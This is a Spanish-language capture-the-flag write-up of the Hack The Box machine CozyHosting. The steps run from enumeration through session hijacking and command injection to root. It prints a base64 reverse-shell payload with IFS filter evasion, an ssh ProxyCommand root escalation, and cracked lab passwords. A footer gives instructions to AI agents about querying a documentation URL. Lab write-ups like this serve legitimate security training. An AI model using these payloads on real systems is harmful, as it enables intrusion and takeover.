# HTB - CozyHosting

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/wPfYGuM4ymolc9IefabH/CozyHosting.png" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina:  CozyHosting**
* **IP de la Máquina:**  10.129.229.88
* **Sistema Operativo: Linux**
* **Dificultad: Easy**
* **Fecha de Publicación:  02 sep 2023**

***

## Enumeration

### Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

{% code title="Kali Linux Machine" %}

```bash
ping -c 1 10.129.229.88 -R
```

{% endcode %}

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FdMBTX4XbhbNYEln0TM52%2Fimage.png?alt=media&#x26;token=f0aee74c-2459-4943-9f3b-a2f0a3c499f5" alt=""><figcaption></figcaption></figure></div>

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable <mark style="color:yellow;">para luego utilizar nuestra función extractPorts</mark>:

<pre class="language-bash" data-title="Kali Linux Machine" data-overflow="wrap"><code class="lang-bash"><strong>sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.229.88 -oG allPorts
</strong>extractPorts allPorts
</code></pre>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FWIhqp6FCfHmQWYI2yEwI%2Fimage.png?alt=media&#x26;token=4f1ecc39-3f18-49eb-bd0a-30e3b9b388da" alt=""><figcaption></figcaption></figure>

### **Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

{% code title="Kali Linux Machine" %}

```bash
sudo nmap -sCV -p22,80 10.129.229.88 -oN targeted
```

{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FEq9yOef0N2lrG9VnMiq0%2Fimage.png?alt=media&#x26;token=7223a344-9cae-4699-a66d-08242d62e4d4" alt=""><figcaption></figcaption></figure>

### Modificando /etc/hosts

Para añadir la entrada "10.129.229.88 cozyhosting.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts
```

{% endcode %}

### Explorando CozyHosting.htb

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FsMCmGNqidluQ0UPsKsbP%2Fimage.png?alt=media&#x26;token=fe4b33da-ff29-46ae-a115-11c9ef56845f" alt=""><figcaption></figcaption></figure>

### Directory Bruteforce con Dirsearch

{% code title="" %}

```
dirsearch -u cozyhosting.htb
```

{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FJp9gMG9iFFzxV7MlWil4%2Fimage.png?alt=media&#x26;token=2dbd67cb-bc66-46fb-a26e-b6e601900b08" alt=""><figcaption></figcaption></figure>

Una de ellas me es particularmente interesante: `/actuator/sessions/`

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2Fv0upeer0nnPhUJhS2Fqa%2Fimage.png?alt=media&#x26;token=3bb7c4f7-c7f9-4b5c-9e35-de91248eacbc" alt=""><figcaption></figcaption></figure></div>

Al parecer esta es la sesiòn de "kanderson", el cual espero que tenga privilegios de administrador. Lo que intento hacer es modificar el valor por el de kanderson.

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FSYmonQHkpfSOwguxyphW%2Fimage.png?alt=media&#x26;token=3b237b71-ffed-4e03-82e3-12cedc7f4e54" alt=""><figcaption></figcaption></figure>

Este valor va cambiando así que atento ahí.

### Acceso al panel de administración

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FohGXPAjMVCk4AZLvDUZt%2Fimage.png?alt=media&#x26;token=918eb37a-0e90-4a1e-8363-f63420faf4bb" alt=""><figcaption><p>Cozy Cloud Admin Dashboard</p></figcaption></figure>

En el panel  podemos encontrar "Cozy Scanner", jugando con el me encuentro con errores.

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FMmcdFqKP3eaNo7GzCwXd%2Fimage.png?alt=media&#x26;token=1edd7892-677c-4e2e-8da1-6381744521a6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F7nwUJiJy2t9OOfdT8GWr%2Fimage.png?alt=media&#x26;token=de671f7c-bb84-4567-845c-0bae2969cd2c" alt=""><figcaption></figcaption></figure>

Creamos nuestro payload en base64

{% code title="Kali Linux Machine" %}

```bash
echo "bash -i >& /dev/tcp/10.10.15.21/7777 0>&1" | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMS83Nzc3IDA+JjEK%
```

{% endcode %}

```bash
;echo${IFS%??}"<base64 payload>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
```

```bash
;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMS83Nzc3IDA+JjEK%"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
```

### Explotando y obteniendo reverse shell&#x20;

Inyectamos el payload y le hacemos "URL ENCODE", luego lo enviamos.

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FOBN9eNZyRiiNSWED4y65%2Fimage.png?alt=media&#x26;token=f345651d-7e82-4ac7-b7a0-b59a37b7cc8a" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FF6UTpEpshee5H0xxDjDl%2Fimage.png?alt=media&#x26;token=e1612c81-2303-49d9-803e-f757fa8a04b1" alt=""><figcaption></figcaption></figure>

[Broken link](https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/broken-reference "mention")

<pre class="language-bash" data-title="Target Linux Machine"><code class="lang-bash"><strong>script /dev/null -c /bin/bash
</strong>export TERM=xterm
stty raw -echo; fg
</code></pre>

Reviso y el equipo tiene python3, así que inicio un servidor para poder descargar `cloudhosting-0.0.1.jar`

{% code title="Target Linux Machine" %}

```bash
python3 -m http.server 8888
```

{% endcode %}

{% code title="Kali Linux Machine" %}

```bash
curl 10.129.229.88:8888/cloudhosting-0.0.1.jar -o cloud.jar
```

{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F86CBhlOFWuxlDMqgXCe8%2Fimage.png?alt=media&#x26;token=eff18e56-5047-4711-9e68-345b2be30004" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FVxHwnvF509dOg9ci6FIf%2Fimage.png?alt=media&#x26;token=a15efc4a-a20f-4434-ab25-4a400e051914" alt=""><figcaption></figcaption></figure>

```
psql -h 127.0.0.1 -U postgres
Vg&nvzAQ7XxR
\c cozyhosting
\d
select * from users;
```

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FQOsW12ZeyFTiISOTdX1j%2Fimage.png?alt=media&#x26;token=087b2d5f-4fa2-4fd6-9361-5e5ceb9c935f" alt=""><figcaption></figcaption></figure>

### John the Ripper

{% code title="Kali Linux Machine" %}

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

{% endcode %}

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FxFEibL4a2PzPBNX4MeTK%2Fimage.png?alt=media&#x26;token=4a5ba345-319d-4341-83b3-c8d975a447a0" alt=""><figcaption></figcaption></figure></div>

SSH como Josh

{% code title="Kali Linux Machine" %}

```bash
ssh josh@10.129.229.88 
manchesterunited
```

{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FOFs9RejFRGB1ULXkVQgN%2Fimage.png?alt=media&#x26;token=5a778d41-6b8b-43db-88f0-95b8d7d83f65" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F1kd3FSKuGskjPn1FoTQO%2Fimage.png?alt=media&#x26;token=200bd810-c5ef-43e9-8f2b-8f770fc72f79" alt=""><figcaption></figcaption></figure>

### Privilege Escalation  (GTFO Bins)

{% code title="Target Linux Machine" %}

```bash
sudo -l
manchesterunited
```

{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FjY9BaWHVlTdy5toJTi2V%2Fimage.png?alt=media&#x26;token=bce325ff-1483-4261-a84c-561a3ed54ceb" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/ssh/#sudo>" %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FKDM4loWGjbL79aOocCkW%2Fimage.png?alt=media&#x26;token=a995dddf-8510-4680-b213-f23921c793c8" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FmfLJB17FnH0dolF8cpL4%2Fimage.png?alt=media&#x26;token=17a672ec-26da-4309-8518-edcbbad00a69" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2Fr0LgzPXM2zdLj0PPNDky%2Fimage.png?alt=media&#x26;token=fbdf258b-c095-4821-ae9f-26c1df36ecce" alt=""><figcaption><p>Pwned!</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/htb-cozyhosting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
